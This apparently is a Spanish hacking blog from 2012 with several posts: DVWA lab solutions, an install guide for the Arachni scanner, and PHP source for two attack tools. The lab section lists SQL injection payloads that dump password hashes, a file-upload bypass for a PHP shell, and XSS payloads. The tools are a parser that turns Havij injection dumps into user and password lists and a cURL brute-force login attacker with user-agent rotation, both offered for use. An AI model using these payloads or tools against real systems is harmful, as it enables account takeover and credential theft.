jueves, 26 de enero de 2012

Web Hacking Techniques 2006 - 2010

Esta entrada va traigo puesto que de ella se puede aprender muchísimo.
son las técnicas de hacking web desde 2006 hasta 2010 de Jeremiah Grossman
fundador de WhiteHat Security. Para el que le atraiga este mundo le vendrá muy bien
tener esta información a mano y ponerla en practica ademas de tomarlas para crear
nuevas técnicas.


Links:

Top Ten Web Hacking Techniques of 2010

Top Ten Web Hacking Techniques of 2009

Top Ten Web Hacking Techniques of 2008

Top Ten Web Hacks of 2007

Top 10 Web Hacks of 2006

domingo, 15 de enero de 2012

DVWA Por MichBukana Level Easy/Medium

Hoy les traigo los resultados de esta herramienta de testeo de vulnerabilidades Tipo Web
y bueno le he dado caña y quería postear aqui las soluciones. si quieren probar les recomiendo
que lo intenten vosotros, las de nivel easy no las pongo por que mmm no tiene ninguna dificultad
para descargar la tool y hacer las pruebas necesitan de un servidor web y luego montar el DVWA


Descarga la aplicación aqui y haz las pruebas:
http://www.dvwa.co.uk/

Brute Force:
//Mi version del Firefox no es compatible con este addon pero bueno ya ven como se bypassea aqui un video:
http://www.youtube.com/watch?v=lmgMXhM01fY


CSRF
level medium
Código:

New password: Confirm new password:

File Include
level medium
Código:
hTTp://127.0.0.1/index.php

-------------------------------------------------
SQL Injection:
level easy
Código:
1' order by 2-- a
1' union select 1,2-- a
1' union select user(),2-- a
1' union select database(),2-- a
1' union select version(),2-- a
1' union select table_name,2 from mysql.tables-- a
1' union select column_name,2 from information_schema.columns where table_name='users'-- a
1' union select concat(User,0x3a,password),2 from users-- a


level medium
Código:
-1/**/union/**/select/**/1,2-- a
-1/**/union/**/select/**/user(),2-- a
-1/**/union/**/select/**/concat(user(),0x3a,database(),0x3a,version()),2-- a
-1/**/union/**/select/**/table_name,2/**/from/**/information_schema.tables-- a
-1/**/union/**/select/**/column_name,2/**/from/**/information_schema.columns/**/where/**/table_name=char(117,115,101,114,115)-- a
-1/**/union/**/select/**/concat(user,0x3a,password),2/**/from/**/users-- a

----------------------------------------------

SQL Injection (Blind)
level medium
Código:
1 or user()=user() and version()=version()
1 || (SELECT Count(*) FROM users)=5
1 || (SELECT Count(user) FROM users)=5
1 || (SELECT LENGTH(password) FROM users WHERE user=char(97,100,109,105,110))=32
1 || (SELECT SUBSTRING((password),1,1) FROM users WHERE user=char(97,100,109,105,110))=5
/* 5 por lo que es integer y no da problema a diferencia con abajo */
1 || (SELECT SUBSTRING((password),1,2) FROM users WHERE user=char(97,100,109,105,110))=char(53,102)
/* Ahora luego como lo siguiente es f quedando asi 5f ya sería integer+varchar y como varchar comprende letas y numeros pues :D */
1 || (SELECT SUBSTRING((password),1,32) FROM users WHERE user=char(97,100,109,105,110))=char(53,102,52,100,99,99,51,98,53,97,97,55,54,53,100,54,49,100,56,51,50,55,100,101,98,56,56,50,99,102,57,57)
/* la pass de admin es 5f4dcc3b5aa765d61d8327deb882cf99 */


Uploader
level medium
Código:
//cambiar el Content-Type de la shell.php por el de la imagen desde httpheader addon firefox modificando las cabezeras enviadas por POST
Content-Type: image/jpeg\r\n\r\n

XSS reflected
level medium
Código:
<body onload=alert(8)>


XSS stored
level medium
Código:
Name:         <input onmouseover="alert(8)" value="
Message:     " />

miércoles, 11 de enero de 2012

Arachni web application vulnerability scanning framework



Requisitos:
  • Mac OS X Lion 10.7.2
  • Xcode 4
  • RVM
  • Ruby 1.9.3
  • Arachni
1. Instalamos Xcode desde la web de Apple

2. despues nos movemos hasta:
    cd /Users/Admin/ 

3. descargamos e instalamos RVM necesario ya que nos servirá para tener ruby en su ultima versión(1.9.3) de una forma sencilla
    curl -s https://rvm.beginrescueend.com/install/rvm -o rvm-installer
    chmod +x rvm-installer
    ./rvm-installer --version latest
 
4. Si la instalación y la configuración salió bien
    type rvm|head -1
    te tiraría esto:
    rvm is a function

5. Ahora nos toca instalar la ultima versión de ruby:
    rvm install 1.9.3-p0 --with-gcc=clang

6. cargamos el source de RVM
    [[ -s "/usr/local/rvm/scripts/rvm" ]] && . "/usr/local/rvm/scripts/rvm"

7. si todo fue bien ya estamos listos para usar la versión 1.9.3
   rvm use 1.9.3
   Respuesta:
   Using /usr/local/rvm/gems/ruby-1.9.3-p0

8. Y comprobamos que tengamos la ultima version en uso
   ruby -v
   ruby 1.9.3p0 (2011-10-30 revision 33570) [x86_64-darwin11.2.0]

9. Actualizamos todas las gemas del sistema:
   gem update --system

10. comprobamos que tengamos instalado la ultima version de SQLite3
   sqlite3 -version

debemos de tener una version superior de la 3.6.12

11. ahora instalamos las gemas de SQLite3 y de Rails:
   gem install sqlite3
   gem install rails

12. verificamos version de rails
   rails -v
   resultado:
   Rails 3.1.3

13. ahora vamos a dejar por defecto el uso de la versión 1.9.3
   rvm --default use 1.9.3
   Respuesta:
   Using /usr/local/rvm/gems/ruby-1.9.3-p0

14. Instalamos el Framework de arachni
   gem install arachni

15. probamos que funcione desde linea de comando
   arachni
   uso:
   arachni http://code-disaster.blogspot.com
   o abriendo el servidor web nos logeamos como root 
   su
   y lanzamos la aplicación
   arachni_web_autostart
   puerto por defecto 4567
   http://localhost:4567/




viernes, 6 de enero de 2012

Exportador Havij PHP by Michb

Este proyecto fue el cual me hizo iniciar el brute force publicado recientemente, en un principio pensé en ponerlos los 2 juntos como un solo proyecto, pero creí que por separado sería mejor.



Funcionalidad:
no es nada complicado básicamente a partir del reporte generado del havij lo que tenemos que hacer
es:
  1. en el primer input poner el nombre de dicho archivo, le damos a 'ver campos' y saldran los nombres de las columnas obtenidas de la inyección sql con su identificador 0, 1, 2, etc.
  2. ahora colocamos en el segundo input el número de la columna a exportar 
  3. y en el tercer input elegimos el nombre del archivo donde se van a extraer los campos de la columna elegida
  4. por ultimo solo faltaría darle a 'exportar'.
tener en cuenta alojar el archivo del havij junto con el exportador.php

opcional: 
con los users a un lado y las passwords a otro, utilizamos el brute force que desarrolle en la entrada anterior.

Codigo Fuente:
<?php




                /******************************\
                ****** * * * * RM * * * * ******
                ***** * Desarrollado por * *****
                ***** * * MichBukana * * * *****
                ***** * * * 04/01/12 * * * *****
                ******* * * * * * * * * * ******
                \******************************/
                /**--------------------------**\
                /**code-disaster.blogspot.com**/
                /**+++ indetectables.net ++++**/
                /**++++++ udtools.net +++++++**/
                /**--------------------------**\
                /*michbukana@indetectables.net*/
                /**__________________________**\
                /******************************/
                






error_reporting(0);

echo base64_decode('CjxodG1sPgo8aGVhZD4KICAgIDxzdHlsZT4KICAgIGJvZHl7Y29sb3I6
Z3JlZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9CiAgICBoMXtjb2xvcjpyZWQ7fQogICAgPC9z
dHlsZT4KCjwvaGVhZD4KPGJvZHk+Cgo8YnIgLz4KPGNlbnRlcj4KICAgIDxiciAvPjxoMT5FeHBv
cnRhZG9yIEhhdmlqPC9oMT48YnIgLz48YnIgLz4KICAgIDxmb3JtIG5hbWU9Zm9ybXUgbWV0aG9k
PSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgRWxpZ2UgZWwgbm9tYnJlIGRlbCBhcmNoaXZvIGRl
bCBjdWFsIHNlIGV4dHJhZXJhbiBsb3MgY2FtcG9zIGRlIGxhIGNvbHVtbmEgZXNjb2dpZGEKICAg
ICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9UmVzdWx0IHZhbHVlPXd3dy5yZW50aW5nd2ViLmVz
Lmh0bWwgc2l6ZT0zMCA+PC9pbnB1dD48YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQg
dmFsdWU9JyAgICAgIFZlciBDYW1wb3MgICAgICAnID48L2lucHV0PgogICAgPC9mb3JtPgogICAg
PGZvcm0gbmFtZT1mb3JtdTIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgRXNjb2dl
IGVsIG51bWVybyBkZSBsYSBjb2x1bW5hIGEgZXhwb3J0YXIKICAgICAgICA8aW5wdXQgdHlwZT10
ZXh0IG5hbWU9Y29sdW1uYUUgdmFsdWU9MSBzaXplPTEgPjwvaW5wdXQ+PGJyIC8+CiAgICAgICAg
RWxpZ2UgZWwgbm9tYnJlIGRlbCByZXBvcnRlIGRlbCBoYXZpagogICAgICAgIDxpbnB1dCB0eXBl
PXRleHQgbmFtZT1BcmNoaXZvQUUgdmFsdWU9dXN1YXJpby50eHQgPjwvaW5wdXQ+PGJyIC8+CiAg
ICAgICAgRWxpZ2UgZWwgbm9tYnJlIGRlbCBhcmNoaXZvIGRlbCBjdWFsIHNlIGV4dHJhZXJhbiBs
b3MgY2FtcG9zIGRlIGxhIGNvbHVtbmEgZXNjb2dpZGEKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0
IG5hbWU9UmVzdWx0IHZhbHVlPSI=');
echo @$_POST['Result']; 

echo base64_decode('IiBzaXplPTMwID48L2lucHV0PjxiciAvPgogICAgICAgIDxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWVqZWN1Y2lvbiB2YWx1ZT0xID48L2lucHV0PjxiciAvPgogICAgICAg
IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nICAgICAgRXhwb3J0YXIgICAgICAnPjwvaW5wdXQ+
CiAgICA8L2Zvcm0+CjxiciAvPgo=');



//columnaEscogida: columna que vamos a exportar ejemplo usuario o password
//ArchivoAExportar: nombre del archivo generado por el havij
//Resultados: nombre del archivo a crear para los de la columnaEscogida

/*---------------------------------------------------------------------------------*/
$columnaEscogida                = $_POST['columnaE'];
$Resultados                     = $_POST['ArchivoAE'];
$ArchivoAExportar               = $_POST['Result'];

$ejecucion                      = $_POST['ejecucion'];
/*---------------------------------------------------------------------------------*/
$saltolinea = base64_decode('PGJyIC8+');


//$ejecucion                      =1;

$page0 = file_get_contents($ArchivoAExportar);
$NumeroDeColumnaTitulos = substr_count($page0, '#FFFFCE');

    //|<[font color="#DC883D"]+>(.*)|U
    preg_match_all(base64_decode('fDxbZm9udCBjb2xvcj0iI0RDODgzRCJdKz4oLiopPC9bZm9udF0rPnxV'),$page0,$salida, PREG_SET_ORDER);
    
    $i=0;
    while($i<$NumeroDeColumnaTitulos){
        echo ''.$i.' '.$salida[$i][1]. ''.$saltolinea;
        $i++;
    }
    
    
    if($ejecucion==1){
    
        echo $saltolinea.$saltolinea;
        
        $page1 = file_get_contents($ArchivoAExportar);
        $NumeroDeColumnaCampos = substr_count($page1, 'td bgcolor');    
        
        //|<[td bgcolor="#FFF7F2"]+>(.*)|U
        preg_match_all(base64_decode('fDxbdGQgYmdjb2xvcj0iI0ZGRjdGMiJdKz4oLiopPC9bdGRdKz58VQ=='),$page1,$salida1, PREG_SET_ORDER);

        
        $i=3;$j=$columnaEscogida+3;
        
        while($i<($NumeroDeColumnaCampos)){
            
                    $p=fopen($Resultados, 'a+');
                    fwrite($p, $salida1[$j][1]. "\n");
                    fclose($p);

            $j=$j+$NumeroDeColumnaTitulos;
            
            $i++;
        }
        

        $todo = file_get_contents($Resultados);
        $todo = trim($todo);

        $p=fopen($Resultados, 'w+');
        fwrite($p, $todo."\n");
        fclose($p);
        
        echo $saltolinea.$saltolinea.'...Exportacion finalizada';
    }
?>



Salu2!

miércoles, 4 de enero de 2012

Brute Force Attack PHP by Michb



requisitos:
recuerden tener el curl activado en el php.ini

características:
  • prueba usuario a usuario con todas las passwords posibles
  • puedes definir si detectar errores al loggearse de 2 modos
  • métodos de envio de datos POST y GET
  • librería cURL

pueden descargar un ejemplo con los siguientes archivos aqui:
loger.php
usuarios.txt
password.txt
user-agent.txt
EjemploGET.php
EjemploPOST.php



Codigo del loger.php
<?php
    
    
                /******************************\
                ****** * * * * RM * * * * ******
                ***** * Desarrollado por * *****
                ***** * * MichBukana * * * *****
                ***** * * * 04/01/12 * * * *****
                ******* * * * * * * * * * ******
                \******************************/
                /**--------------------------**\
                /**code-disaster.blogspot.com**/
                /**+++ indetectables.net ++++**/
                /**++++++ udtools.net +++++++**/
                /**--------------------------**\
                /*michbukana@indetectables.net*/
                /**__________________________**\
                /******************************/
                    
    
    
error_reporting(0);
    
echo base64_decode('PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl
eHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7Y29sb3I6Z3Jl
ZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9Cmgxe2NvbG9yOnJlZDt9Cjwvc3R5bGU+CgoKCiAg
ICA8c2NyaXB0PgogICAgCgogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8yKCl7CiAgICAgICAgYyA9
IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJNb2RvIik7CiAgICAgICAgaWYoY1swXS5zZWxlY3Rl
ZD09dHJ1ZSl7CiAgICAgICAgICAgIGZvcm11LkJhZF9TLmRpc2FibGVkPXRydWU7Zm9ybXUuQ29k
ZV9SLmRpc2FibGVkPWZhbHNlOyAgICAgICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgICAg
ICBmb3JtdS5CYWRfUy5kaXNhYmxlZD1mYWxzZTtmb3JtdS5Db2RlX1IuZGlzYWJsZWQ9dHJ1ZTsK
ICAgICAgICB9CiAgICB9CgogICAgPC9zY3JpcHQ+CjxjZW50ZXI+CjxiciAvPjxoMT5CcnV0ZSBm
b3JjZSBBdHRhY2s8L2gxPjxiciAvPjxiciAvPgoKPGZvcm0gbmFtZT1mb3JtdSBtZXRob2Q9IlBP
U1QiIGFjdGlvbj0iIj4KICAgIAogICAgICAgIFVSTCBkZWwgbG9naW4gZG9uZGUgc2UgdmEgYSBh
dGFjYXI8YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXJsX2xvZyB2YWx1ZT0n
aHR0cDovL2NvZGUtZGlzYXN0ZXIuYmxvZ3Nwb3QuY29tL2FkbWluLnBocCcgc2l6ZT04MD48L2lu
cHV0PjxiciAvPgogICAgICAgIE3pdG9kbyBkZSBlbnZpbyBkZSBkYXRvcyBIVFRQCiAgICAgICAg
PHNlbGVjdCBpZD0nTWV0b2RvJyBuYW1lPU1ldG9kbyA+CiAgICAgICAgICAgIDxvcHRpb24+UE9T
VDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uPkdFVDwvb3B0aW9uPgogICAgICAgIDwvc2Vs
ZWN0PjxiciAvPgogICAgICAgIDxociB3aWR0aD0iNzUlIiAvPgogICAgICAgIE1vZG8gZGUgY2Fw
dGFjaW9uIGRlIGVycm9yZXMKICAgICAgICA8c2VsZWN0IGlkPSdNb2RvJyBuYW1lPU1vZG8gb25j
aGFuZ2U9ImNhbWJpbzIoKSI+CiAgICAgICAgICAgIDxvcHRpb24gPjE8L29wdGlvbj4KICAgICAg
ICAgICAgPG9wdGlvbiA+Mjwvb3B0aW9uPgogICAgICAgIDwvc2VsZWN0PjxiciAvPgogICAgICAg
IE1vZG8gMTogQ29kaWdvIGRlIHJlc3B1ZXN0YQogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1Db2RlX1IgdmFsdWU9MzAyIHNpemU9MT48L2lucHV0PjxiciAvPgogICAgICAgIE1vZG8gMjog
cGFydGUgZGUgbGEgc3RyaW5nIGRldnVlbHRhIGVuIGNhc28gZGUgZXJyb3IKICAgICAgICA8aW5w
dXQgdHlwZT10ZXh0IG5hbWU9QmFkX1MgZGlzYWJsZWQ9ZGlzYWJsZWQgdmFsdWU9aW5jb3JyZWN0
b3M+PC9pbnB1dD48YnIgLz4KICAgICAgICA8aHIgd2lkdGg9Ijc1JSIgLz4KICAgICAgICBBcmNo
aXZvIGRlIHVzdWFyaW9zIGV4dHJhaWRvcwogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1h
cmNoaXZvVSB2YWx1ZT11c3Vhcmlvcy50eHQ+PC9pbnB1dD48YnIgLz4KICAgICAgICBBcmNoaXZv
IGRlIHBhc3N3b3JkcyBleHRyYWlkYXMKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJj
aGl2b1AgdmFsdWU9cGFzc3dvcmQudHh0PjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgPGhyIHdpZHRo
PSI3NSUiIC8+CiAgICAgICAgbm9tYnJlIGRlIGxhIHZhcmlhYmxlIGRlbCBlbnZpbyBkZWwgdXN1
YXJpbyAibG9naW4ucGhwPyd1c3VhcmlvJz14eHgiCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBu
YW1lPWNhbXBvMSB2YWx1ZT0nJz48L2lucHV0PjxiciAvPgogICAgICAgIG5vbWJyZSBkZSBsYSB2
YXJpYWJsZSBkZWwgZW52aW8gZGUgbGEgcGFzc3dvcmQgImxvZ2luLnBocD8ncGFzc3dvcmQnPXh4
eCIKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2FtcG8yIHZhbHVlPScnPjwvaW5wdXQ+
PGJyIC8+PGJyIC8+CiAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgICAgICBMYW56
YXIgICAgICAnPC9pbnB1dD4KPC9mb3JtPg==');
//mode 1: comprobar user y pass que sean correctas a partir del código de respuesta
    //Code_Responde: codigo de respuesta en caso correcto
//mode 2: comporbar user y pass que sean correctas a partir de una parte de la string devuelta en caso de error. 
//Ejemplo: "datos introducidos incorrectos" pues por ejemplo "incorrectos"
    //Bad_String: la string de la que se habla en el mode 2
        
//metodo: POST o GET
//campos1 y 2: son los campos que se envian estos hay que definirlos en caso de que se envie el formulario via GET
    
/*---------------------------------------------------------------------------------*/
    
$url_login              = $_POST['url_log'];
$metodo                 = $_POST['Metodo'];
$mode                   = $_POST['Modo'];
$archivoUsuarios        = $_POST['archivoU'];
$archivoPasswords       = $_POST['archivoP'];
/*---------------------------------------------------------------------------------*/
if(strlen($mode)> 0)echo 'Resultado
'; if($mode==1) $Code_Responde = $_POST['Code_R']; if($mode==2) $Bad_String = $_POST['Bad_S']; $campo1 = $_POST['campo1']; $campo2 = $_POST['campo2']; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER,true); curl_setopt ($ch, CURLOPT_HTTPGET, true); $user_agent = file_get_contents('user-agent.txt'); $user = file_get_contents($archivoUsuarios); $pass = file_get_contents($archivoPasswords); preg_match_all('|(.*)\n|U',$user_agent,$U_A); preg_match_all('|(.*)\n|U',$user,$usuario); preg_match_all('|(.*)\n|U',$pass,$password); for($i=0;$i< count($usuario[1]);$i++){ for($j=0;$j< count($password[1]);$j++){ curl_setopt($ch, CURLOPT_USERAGENT, $U_A[1][$j]); if($metodo == "POST"){ curl_setopt ($ch, CURLOPT_POST, true); curl_setopt ($ch, CURLOPT_POSTFIELDS, $campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]); curl_setopt($ch, CURLOPT_URL, $url_login); } if($metodo == "GET"){ $url_login2 = $url_login; $url_login2=$url_login."?".$campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j]; curl_setopt($ch, CURLOPT_URL, $url_login2); } $result = curl_exec($ch); //código de respuesta 302 en caso de introducir datos correctos $saltolinea = base64_decode('PGJyIC8+'); if($mode==1) if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302" && strpos($result,'PHPSESSID')) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; if($mode==2) if(strpos($result, $Bad_String)===false ) echo ''. $usuario[1][$i] .' & '. $password[1][$j] .' <---- Correcto'.$saltolinea; else echo ''. $usuario[1][$i] .' & '. $password[1][$j] .''.$saltolinea; } } ?>